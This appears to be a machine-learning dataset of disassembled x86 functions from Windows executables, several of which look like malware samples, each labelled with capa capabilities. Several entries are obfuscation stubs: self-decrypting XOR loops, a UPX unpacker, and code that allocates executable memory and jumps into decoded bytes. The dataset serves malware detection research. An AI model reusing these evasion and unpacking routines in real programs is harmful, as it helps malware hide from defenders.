joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401007
Capabilities:
Delete file
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax + 4]
push esi
mov esi, dword [eax]
push edi
xor edi, edi
cmp dword [0x822934], 0x594
mov dword [ebp - 0x14], esi
jne 0x40103b
push edi
lea eax, [ebp - 0x838]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x8135e8]
mov dword [ebp - 0x30], eax
mov eax, dword [0x8135ec]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
mov dword [ebp - 0x2c], 0x9e3779b9
call fcn.00401000
mov eax, dword [0x8135f0]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x28], eax
mov eax, dword [0x8135f4]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x20], 0x20
jmp 0x401080
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, esi
shl eax, 4
cmp dword [0x822934], 0xc
mov dword [ebp - 4], eax
jne 0x4010b9
push edi
lea eax, [ebp - 0x838]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push edi
lea eax, [ebp - 0x38]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [0x822934]
cmp eax, 0xfa9
jne 0x4010d5
mov dword [0x822930], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010f8
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov dword [0x822888], edi
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov edx, esi
add eax, esi
shr edx, cl
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
mov dword [0x82292c], 0xf4ea3dee
add edx, dword [ebp - 0x34]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor eax, edx
sub ebx, eax
mov eax, ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov esi, ebx
shr esi, cl
add eax, ebx
mov dword [ebp - 0x1c], eax
add esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 4], eax
cmp dword [0x822934], 0xb03
jne 0x40116f
push str.zawoworobapuwotisumimodalagusuharawiyokisogujonefafunohuz
push edi
push edi
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
xor dword [ebp - 4], esi
mov eax, dword [ebp - 4]
sub dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 8], eax
dec dword [ebp - 0x20]
jne 0x40107d
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
pop edi
pop esi
mov dword [eax + 4], ebx
mov dword [eax], ecx
pop ebx
leave
ret 4
Function at 0x4029d0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x8120f8]
jne 0x4029da
repz ret
jmp fcn.00406e6e

Function at 0x406a97
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405191
and dword [ebp - 4], 0
cmp dword [0x8178d4], 0
mov ebx, eax
jne 0x406b48
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406bf9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406bf9
push eax
call fcn.0040511f
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x8178d4], eax
call esi
push eax
call fcn.0040511f
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x8178d8], eax
call esi
push eax
call fcn.0040511f
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x8178dc], eax
call esi
push eax
call fcn.0040511f
pop ecx
mov dword [0x8178e4], eax
test eax, eax
je 0x406b48
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040511f
pop ecx
mov dword [0x8178e0], eax
mov eax, dword [0x8178e0]
cmp eax, ebx
je 0x406ba0
cmp dword [0x8178e4], ebx
je 0x406ba0
push eax
call fcn.0040519a
push dword [0x8178e4]
mov esi, eax
call fcn.0040519a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406ba0
test edi, edi
je 0x406ba0
call esi
test eax, eax
je 0x406b97
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406b97
test byte [ebp - 0xc], 1
jne 0x406ba0
or dword [ebp + 0x10], 0x200000
jmp 0x406bd9
mov eax, dword [0x8178d8]
cmp eax, ebx
je 0x406bd9
push eax
call fcn.0040519a
pop ecx
test eax, eax
je 0x406bd9
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406bd9
mov eax, dword [0x8178dc]
cmp eax, ebx
je 0x406bd9
push eax
call fcn.0040519a
pop ecx
test eax, eax
je 0x406bd9
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x8178d4]
call fcn.0040519a
pop ecx
test eax, eax
je 0x406bf9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406bfb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4cba9c
Capabilities:
Encrypt data using openssl rsa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov byte [ebp - 9], 1
mov byte [ebp - 0xa], 0
xor eax, eax
mov al, byte [ebp - 0xa]
mov edx, dword [ebp - 8]
mov al, byte [edx + eax]
xor edx, edx
mov dl, byte [ebp - 0xa]
cmp al, byte [edx + 0x4f0144]
je 0x4cbace
mov byte [ebp - 9], 0
jmp 0x4cbad7
inc byte [ebp - 0xa]
cmp byte [ebp - 0xa], 9
jne 0x4cbab0
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret

Function at 0x4cbae0
Capabilities:
Encrypt data using openssl rsa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov byte [ebp - 9], 1
mov byte [ebp - 0xa], 0
xor eax, eax
mov al, byte [ebp - 0xa]
mov edx, dword [ebp - 8]
mov al, byte [edx + eax]
xor edx, edx
mov dl, byte [ebp - 0xa]
cmp al, byte [edx + 0x4f0150]
je 0x4cbb12
mov byte [ebp - 9], 0
jmp 0x4cbb1b
inc byte [ebp - 0xa]
cmp byte [ebp - 0xa], 9
jne 0x4cbaf4
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret

Function at 0x4cbb24
Capabilities:
Encrypt data using openssl rsa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov byte [ebp - 9], 1
mov byte [ebp - 0xa], 0
xor eax, eax
mov al, byte [ebp - 0xa]
mov edx, dword [ebp - 8]
mov al, byte [edx + eax]
xor edx, edx
mov dl, byte [ebp - 0xa]
cmp al, byte [edx + 0x4f015c]
je 0x4cbb56
mov byte [ebp - 9], 0
jmp 0x4cbb5f
inc byte [ebp - 0xa]
cmp byte [ebp - 0xa], 9
jne 0x4cbb38
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret

Function at 0x4cbb68
Capabilities:
Encrypt data using openssl dsa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov byte [ebp - 9], 1
mov byte [ebp - 0xa], 0
xor eax, eax
mov al, byte [ebp - 0xa]
mov edx, dword [ebp - 8]
mov al, byte [edx + eax]
xor edx, edx
mov dl, byte [ebp - 0xa]
cmp al, byte [edx + 0x4f0170]
je 0x4cbb9a
mov byte [ebp - 9], 0
jmp 0x4cbba3
inc byte [ebp - 0xa]
cmp byte [ebp - 0xa], 7
jne 0x4cbb7c
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret

Function at 0x4cbbf0
Capabilities:
Encrypt data using openssl rsa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov byte [ebp - 9], 1
mov byte [ebp - 0xa], 0
xor eax, eax
mov al, byte [ebp - 0xa]
mov edx, dword [ebp - 8]
mov al, byte [edx + eax]
xor edx, edx
mov dl, byte [ebp - 0xa]
cmp al, byte [edx + 0x4f0138]
je 0x4cbc22
mov byte [ebp - 9], 0
jmp 0x4cbc2b
inc byte [ebp - 0xa]
cmp byte [ebp - 0xa], 9
jne 0x4cbc04
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret
Function at 0x4cd09c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00404ab0
xor eax, eax
push ebp
push 0x4cd1aa
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x4cd1c0
mov eax, dword [ebp - 8]
call fcn.00408a1c
test eax, eax
jne 0x4cd0e4
mov eax, dword [ebp - 0xc]
mov edx, 0x4cd1cc
call fcn.00404654
jmp 0x4cd194
mov edx, 0x4cd1e0
mov eax, dword [ebp - 8]
call fcn.00408a1c
test eax, eax
jne 0x4cd107
mov eax, dword [ebp - 0xc]
mov edx, 0x4cd1ec
call fcn.00404654
jmp 0x4cd194
mov edx, 0x4cd1fc
mov eax, dword [ebp - 8]
call fcn.00408a1c
test eax, eax
jne 0x4cd127
mov eax, dword [ebp - 0xc]
mov edx, 0x4cd208
call fcn.00404654
jmp 0x4cd194
mov edx, 0x4cd21c
mov eax, dword [ebp - 8]
call fcn.00408a1c
test eax, eax
jne 0x4cd147
mov eax, dword [ebp - 0xc]
mov edx, 0x4cd228
call fcn.00404654
jmp 0x4cd194
mov edx, 0x4cd240
mov eax, dword [ebp - 8]
call fcn.00408a1c
test eax, eax
jne 0x4cd167
mov eax, dword [ebp - 0xc]
mov edx, 0x4cd24c
call fcn.00404654
jmp 0x4cd194
mov edx, 0x4cd264
mov eax, dword [ebp - 8]
call fcn.00408a1c
test eax, eax
jne 0x4cd187
mov eax, dword [ebp - 0xc]
mov edx, 0x4cd270
call fcn.00404654
jmp 0x4cd194
mov eax, dword [ebp - 0xc]
mov edx, 0x4cd28c
call fcn.00404654
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cd1b1
lea eax, [ebp - 8]
call fcn.00404600
ret
Function at 0x4e0650
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
xor ebx, ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00404ab0
mov eax, dword [ebp - 0xc]
call fcn.00404ab0
mov eax, dword [ebp + 0x10]
call fcn.00404ab0
xor eax, eax
push ebp
push 0x4e07b5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.004048c0
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
fdiv dword [0x4e07c4]
add esp, 0xfffffff4
fstp xword [esp]
wait
call 0x42ac10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x24]
mov edx, 1
mov eax, dword [ebp - 8]
call 0x404b20
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.004048c0
mov edx, eax
sub edx, dword [ebp - 0x24]
inc edx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 8]
call 0x404b20
mov eax, dword [ebp + 0xc]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x34]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0xc]
call fcn.0040490c
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.004e03e4
mov eax, dword [ebp + 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x38]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0xc]
call fcn.0040490c
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
call fcn.004e0518
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
call fcn.00404c4c
mov eax, dword [ebp + 8]
call fcn.00404b18
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0xc]
test eax, eax
jle 0x4e0785
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x20], 1
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov al, byte [eax + edx - 1]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov dl, byte [edx + ecx - 1]
xor al, dl
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
mov byte [edx + ecx - 1], al
inc dword [ebp - 0x20]
dec dword [ebp - 0x2c]
jne 0x4e075d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e07bc
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.00404624
lea eax, [ebp - 0x1c]
mov edx, 6
call fcn.00404624
lea eax, [ebp + 0x10]
call fcn.00404600
ret
Function at 0x4e27f4
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], ecx
mov ebx, edx
xor eax, eax
push ebp
push 0x4e28d7
push dword fs:[eax]
mov dword fs:[eax], esp
pushal
mov eax, 1
cpuid
mov dword [ebp - 4], eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], edx
popal
mov eax, dword [ebp - 4]
xor edx, edx
push edx
push eax
lea edx, [ebp - 0x14]
mov eax, 8
call fcn.00409154
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea edx, [ebp - 0x18]
mov eax, 8
call fcn.00409154
mov eax, dword [ebp - 0xc]
xor edx, edx
push edx
push eax
lea edx, [ebp - 0x1c]
mov eax, 8
call fcn.00409154
lea edx, [ebp - 0x14]
mov ecx, 5
mov eax, 0x4e28ec
call fcn.00404ba8
lea edx, [ebp - 0x18]
mov ecx, 5
mov eax, 0x4e28ec
call fcn.00404ba8
lea edx, [ebp - 0x1c]
mov ecx, 5
mov eax, 0x4e28ec
call fcn.00404ba8
push dword [ebp - 0x14]
push 0x4e28ec
push dword [ebp - 0x18]
push 0x4e28ec
push dword [ebp - 0x1c]
mov eax, ebx
mov edx, 5
call fcn.00404980
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e28de
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00404624
ret
Function at 0x523720
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc4000]
mov dword [edi + 0xeb0a0], 0x1c7adae7
push edi
or ebp, 0xffffffff
jmp 0x52374a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x523751
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x523740
mov eax, 1
add ebx, ebx
jne 0x523763
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x523774
jne 0x523793
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x523793
dec eax
add ebx, ebx
jne 0x523780
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x523758
add ebx, ebx
jne 0x52378f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5237e5
xor ecx, ecx
sub eax, 3
jb 0x5237ab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x52381a
sar eax, 1
mov ebp, eax
jmp 0x5237b6
add ebx, ebx
jne 0x5237b6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x523784
inc ecx
add ebx, ebx
jne 0x5237c4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x523784
add ebx, ebx
jne 0x5237d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5237c6
jne 0x5237e2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5237c6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x523804
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5237f6
jmp 0x523746
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x523804
add edi, ecx
jmp 0x523746
pop esi
mov edi, esi
mov ecx, 0x687d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x523822
cmp byte [edi], 0x23
jne 0x523822
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x523827
lea edi, [esi + 0x11f000]
mov eax, dword [edi]
or eax, eax
je 0x523896
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12989c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1299a0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x523854
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1299a4]
or eax, eax
je 0x523890
mov dword [ebx], eax
add ebx, 4
jmp 0x523871
call dword [esi + 0x1299ac]
mov ebp, dword [esi + 0x1299a8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5238ca
sub esp, 0xffffff80
jmp fcn.004ebd10
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x2c483f47
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0x1ff00522
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x8de274
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8de27a
pop ebp
sub ebp, 6
sub ebp, 0x4de274
jmp 0x8de2d8
jmp 0x8de2e1
mov eax, 0x4de274
add eax, ebp
add eax, 0x93
mov ecx, 0x61e
mov edx, 0xd1e6e6de
xor byte [eax], dl
inc eax
dec ecx
jne 0x8de2f8
jmp 0x8de30b
mov ah, 0x9e
mov dh, 0xde
into
invalid
Function at 0x401f09
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0x20
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
ret

Function at 0x401f20
Capabilities:
Accept command line arguments

Disassembly:
push edi
push esi
push 0x1f4
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push edi
call sub.MSVCRT.dll_strcpy
cmp byte [edi], 0x22
pop esi
pop ecx
jne 0x401f44
inc edi
xor eax, eax
cmp byte [eax + edi], 0x22
jne 0x401f50
and byte [eax + edi], 0
inc eax
cmp eax, 0x1f3
jl 0x401f46
xor esi, esi
push edi
call sub.MSVCRT.dll_strlen
pop ecx
sub eax, 4
or eax, eax
jle 0x401fe4
mov cl, byte [esi + edi]
cmp cl, 0x2e
jne 0x401fd5
mov al, byte [esi + edi + 1]
cmp al, 0x65
je 0x401f7c
cmp al, 0x45
jne 0x401fa0
mov al, byte [esi + edi + 2]
cmp al, 0x78
je 0x401f88
cmp al, 0x58
jne 0x401fa0
mov al, byte [esi + edi + 3]
cmp al, 0x65
je 0x401f94
cmp al, 0x45
jne 0x401fa0
mov al, byte [esi + edi + 4]
cmp al, 0x20
je 0x401fe4
or al, al
je 0x401fe4
cmp cl, 0x2e
jne 0x401fd5
mov al, byte [esi + edi + 1]
cmp al, 0x73
je 0x401fb1
cmp al, 0x53
jne 0x401fd5
mov al, byte [esi + edi + 2]
cmp al, 0x63
je 0x401fbd
cmp al, 0x43
jne 0x401fd5
mov al, byte [esi + edi + 3]
cmp al, 0x72
je 0x401fc9
cmp al, 0x52
jne 0x401fd5
mov al, byte [esi + edi + 4]
cmp al, 0x20
je 0x401fe4
or al, al
je 0x401fe4
push edi
inc esi
call sub.MSVCRT.dll_strlen
pop ecx
sub eax, 4
cmp esi, eax
jl 0x401f68
push edi
call sub.MSVCRT.dll_strlen
sub eax, 4
cmp esi, eax
pop ecx
jl 0x40200b
push edi
push dword [esp + 0x10]
call sub.MSVCRT.dll_strcpy
push edi
push dword [esp + 0x1c]
call sub.MSVCRT.dll_strcpy
sub esp, 0xfffffff0
jmp 0x402042
push ebx
mov ebx, dword [esp + 0x10]
push edi
push ebx
call sub.MSVCRT.dll_strcpy
add esi, 3
pop eax
lea eax, [esi + ebx]
pop ecx
mov byte [eax + 1], 0
js 0x402035
lea ecx, [esi + 1]
mov edx, edi
sub edx, ebx
mov bl, byte [edx + eax]
mov byte [eax], bl
dec eax
dec ecx
jne 0x40202c
push edi
push dword [esp + 0x18]
call sub.MSVCRT.dll_strcpy
pop ebx
pop ecx
pop ebx
dec edi
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop esi
pop edi
ret
Function at 0x418852
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x418861
pop dword [ebp - 0x30]
mov eax, 0x6517b593
sub eax, 0x64d62d32
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x3d81c
push 0
mov eax, 0x9ccc1c3
add eax, 0xf6759055
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x467c
mov edx, eax
mov esi, 0xa4e2f22e
sub esi, 0xa49f9e2e
add esi, dword [ebp - 0x30]
mov ebx, 0x43572ba8
sub ebx, 0xeed243b8
mov dword [ebp - 0x18], 0xe659205
mov edi, dword [esi]
xor edi, ebx
xor dword [ebp - 0x10], eax
mov dword [edx], edi
sub dword [ebp - 0x24], eax
add edx, 0xe54e9c34
sub edx, 0xe54e9c30
add esi, 0x4215e483
add esi, 0xbdea1b81
loop 0x4188ba
add eax, 0x13258d4d
sub eax, 0x1324808a
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x426dcb
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00418cbb
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x426e03
xor eax, eax
jmp 0x426e2f
cmp esi, dword [ebp - 4]
je 0x426e2c
cmp dword [ebp + 0xc], 0
je 0x426e2c
push dword [edi + 0x9c]
call fcn.004269d9
push dword [edi + 0x9c]
mov esi, eax
call fcn.00416bd5
pop ecx
pop ecx
cmp esi, eax
je 0x426dff
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x404dd8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x404de7
pop dword [ebp - 0x44]
mov eax, 0x5ecdcb50
add eax, 0xa1728297
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x99c63c53
add dword [ebp - 0x54], 0xb48c08f8
mov dword [ebp - 0x50], 0x2130d662
add dword [ebp - 0x50], 0x110275e3
mov dword [ebp - 0x4c], 0x39794e03
add dword [ebp - 0x4c], 0x12d2f62b
mov dword [ebp - 0x48], 0x79d297fa
sub dword [ebp - 0x48], 0x79d297fa
lea eax, [ebp - 0x54]
push eax
mov eax, 0xa9993166
sub eax, 0xa95700f2
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x5c9c4316
add dword [ebp - 0x54], 0x17d62640
mov dword [ebp - 0x50], 0x217fa6a6
sub dword [ebp - 0x50], 0xe0134531
mov dword [ebp - 0x4c], 0x22afb77b
sub dword [ebp - 0x4c], 0xbf404b0f
mov dword [ebp - 0x48], 0xe1f6a78
sub dword [ebp - 0x48], 0xe1f6a78
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x9f5d522e
add eax, 0x60e4def6
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3ca15
push 0
call eax
mov ecx, 0x9fc0b01c
sub ecx, 0x9fc06c8e
xor edi, edi
add edi, eax
mov ebx, 0x434400
add ebx, dword [ebp - 0x44]
mov edx, 0x6ecb7cc2
add edx, 0xd3f8f2aa
add dword [ebp - 0x18], 0x50b4b1f5
mov esi, dword [ebx]
xor dword [ebp - 0x3c], edx
add esi, edx
mov dword [edi], esi
add edi, 4
add ebx, 0x9021aa0a
sub ebx, 0x9021aa06
loop 0x404f05
add eax, 0x4e4c9567
sub eax, 0x4e4b945c
mov ebx, eax
add eax, 0xaf4a287a
sub eax, 0xaf4a2875
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

